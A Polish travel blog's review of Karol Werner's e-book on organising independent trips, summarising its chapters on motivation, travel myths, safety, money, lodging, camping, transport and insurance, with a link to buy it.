Pierwszy, od niepamiętnych czasów, praktyczny poradnik, jaki miała okazję przeczytać. A do tego nie byle jaki poradnik! “Twoja samodzielna podróż to e-książka, która zabierze Czytelnika w podróż przez organizację wyjazdu, bez pomocy biur podróży i innych pośredników. Gotowi na sporą dawkę praktycznej wiedzy o podróżowaniu. Z ostatniej strony…. “A kiedy już wrócisz… nic nie będzie już takie samo. Nagle stajesz się zupełnie innym człowiekiem. Otwierają się przed Tobą nieznane wcześniej horyzonty, masz ochotę wykrzyczeć wszystkim wokoło, żeby przestali szukać wymówek, żeby wyjechali, zobaczyli świat, podróżowali. Jednocześnie czujesz pustkę, jak najszybciej chcesz znowu wyjechać w dalszą drogę, znowu poczuć tę niesamowitą wolność, wiatr we włosach, poczucie samorealizacji, spełniania swoich marzeń. Bo inaczej zwariujesz. Hola, hola – nie ma się co śmiać!”… O czym jest e-book? Karol Werner, autor e-booka “Twoja samodzielna podróż” to pasjonat samodzielnego podróżowania. Dlatego biorąc do ręki poradnik, musisz mieć na uwadze, że powstał on na bazie wieloletnich doświadczeń autora. A to oznacza, że znajdziesz w nim wyłącznie praktyczną wiedzę związaną z organizacją samodzielnego wyjazdu. Już na początku Czytelnik dowiaduje się, że nawet jeśli swoją pierwszą podróż ma za sobą, to i tak nie będzie się nudził! E-book został podzielony na dwa rozdziały. W pierwszym dowiesz się, że najważniejsze w podróżowaniu są… chęci. Jeśli ich nie masz, to całe przygotowanie, wiedza i ekwipunek, który posiadasz na nic się nie przyda. Często, poza brakiem chęci, odczuwamy lęk i strach przed samodzielnym wyjazdem. Autor, w pierwszym rozdziale, porusza ten temat i udowadnia, że strach przed wyjazdem jest zupełnie bezpodstawny! Jeśli wyznaczysz sobie cel związany z wyjazdem – warto do niego dążyć i zrobić wszystko (o ile naprawdę tego chcesz), aby go zrealizować! Przykładem jest wspomniany w książce wyjazd Karola na rowerze w Alpy. Przewijając kolejne, wirtualne kartki e-booka, mogę śmiało napisać, że pierwszy rozdział to przede wszystkim obalanie podróżniczych mitów i wątpliwości, które podczas planowania wyjazdu mogą się pojawić. Mój ulubiony mit mówi o tym, że kobiety nie powinny samotnie podróżować… Nie wiem kto to wymyślił, ale cieszę się, że Karol to obala, ponieważ zarówno na mężczyzn, jak i na kobiety czyhają w podróży dokładnie te same niebezpieczeństwa. Znam wiele samotnie podróżujących kobiet (sama się do nich zaliczam) i jeszcze nigdy nie słyszałam, aby którejś stało się coś złego. Inne, często pojawiające się wątpliwości to brak znajomości języka obcego, odwołanie lotu czy przekonanie rodziców do samodzielnego wyjazdu. Pierwszy rozdział kończy się poradami, gdzie i jak szukać towarzysza podróży. Jeśli masz obawy przed zupełnie samotnym wyjazdem, zawsze możesz znaleźć kompana, z którym będziesz przemierzał nieodkryte dotąd lądy :). Przeczytaj także: Poradnik taniego podróżowania – jak podróżować, żeby nie zbankrutować? Drugi rozdział to część poradnikowa, w której znajdziesz praktyczne aspekty podróży. Autor zaczyna od czyhających niebezpieczeństw. Jak w każdym miejscu, tak i w czasie podróży powinniśmy uważać na złodziei. Nie jest powiedziane, że tylko w czasie wyjazdu możesz zostać okradziony, ale jeśli się to zdarzy – niesie ze sobą więcej nerwów i powodów do złości, niż gdyby taka sytuacja miała miejsce w drodze np. z pracy do domu. Zawsze trzeba zachować zimną krew i spróbować zminimalizować straty. Drugim bardzo ważnym elementem są pieniądze. Przygotowując się do podróży sprawdź, czy np. w danym kraju znajdziesz bankomat, który obsługuje Twoją kartę albo jeśli nie masz szansy kupienia miejscowej waluty w Polsce – jaką powinieneś zabrać ze sobą, abyś nie miał problemów z jej wymianą na miejscu. Kolejnym są dokumenty – po pierwsze, jakie dokumenty są wymagane w podróży do konkretnego miejsca, a po drugiego – co powinieneś zrobić, jeśli zgubisz lub ktoś Ci je ukradnie. Na te wszystkie pytania znajdziesz odpowiedź w e-booku Karola. Jeśli przebrnęliśmy przez zagrożenia, to czas na coś pozytywniejszego – poszukiwania noclegu! Autor pisze nie tylko o stronach, na których można znaleźć tani lub darmowy nocleg, ale też podpowiada, jak korzystać z hotelowych programów lojalnościowych. Sporo miejsca poświęca biwakowi – jak go zorganizować, jak zabezpieczyć ekwipunek przed kradzieżą, jak się nie dać zwierzętom podczas biwaku oraz na co zwrócić uwagę i jak wybrać odpowiedni namiot, śpiwór czy karimatę. Kolejnym istotnym elementem w czasie wyjazdu jest jedzenie. W tej części byłam bardzo zdziwiona, kiedy pojawiły się recenzje kilku kuchenek turystycznych. Oczywiście jeśli nie planujesz biwakować – spokojnie możesz ten fragment e-booka pominąć :). Dobrze jest wiedzieć w co się spakować i co zabrać ze sobą. Na moim blogu także znajdziesz odpowiedź na to, co warto zabrać ze sobą w podróż. Transport – to kolejny ważny elementem planowania wyjazdu. Jest bardzo indywidualną sprawą i poza samym odpowiedzeniem sobie na pytanie: czym chcesz podróżować, warto także sprawdzić, jak będziemy się przemieszczać na miejscu. Karol, dużo miejsca poświęca… rowerowi. Z mojego punktu widzenia nie jest to idealny środek transportu. Po pierwsze trzeba mieć dobrą kondycję. Po drugie trzeba mieć sprawdzony i bardzo dobry sprzęt. Po trzecie jeśli złapie Cię kontuzja, to może zdarzyć się tak, że będziesz musiał przerwać podróż. Ale decyzja należy do Ciebie! Jeśli myślisz o rowerowej podróży, ten fragment na pewno zmotywuje Cię do tego, aby spróbować swoich sił na jednośladzie. Drugi rozdział to także ciekawe porady związane z ubezpieczeniem podróżnym, internetem w podróży, aplikacjami mobilnymi – transportowymi, pogodowymi czy noclegowymi. Książkę “Twoja samodzielna podróż” wieńczy kilka motywujących historii z podróży. Po przeczytaniu e-booka, pierwsza myśl, jaka przyszła mi do głowy to – muszę gdzieś wyjechać! Dostałam nie tylko zastrzyk sporej dawki nowej wiedzy, ale także motywację i chęci do dalszego odkrywania świata. Mimo, że (przynajmniej na razie) nie mam w planach biwakowania ani podróżowania rowerem, to w poradniku pojawiło się wiele praktycznych i ciekawych porad, z których na pewno chętnie skorzystam. Dla kogo? Pisząc recenzje książek podróżniczych zawsze staram się odpowiedzieć na pytanie – dla kogo jest ta książka? W tym przypadku nie mam wątpliwości… Ten e-book jest dla każdego, kto potrzebuje motywacji i chce się przełamać przed pierwszym, samodzielnym wyjazdem. Z drugiej strony – nie będą się przy niej nudzić Ci, którzy pierwszą podróż mają już za sobą, a chcieliby poznać alternatywne możliwości i spróbować swoich sił w czymś nowym. Gdzie można kupić e-booka? http://kolemsietoczy.pl/twoja-samodzielna-podroz/

Beskidzkie Bacówki: Krawców Wierch

With love

Beskidzkie Bacówki: Krawców Wierch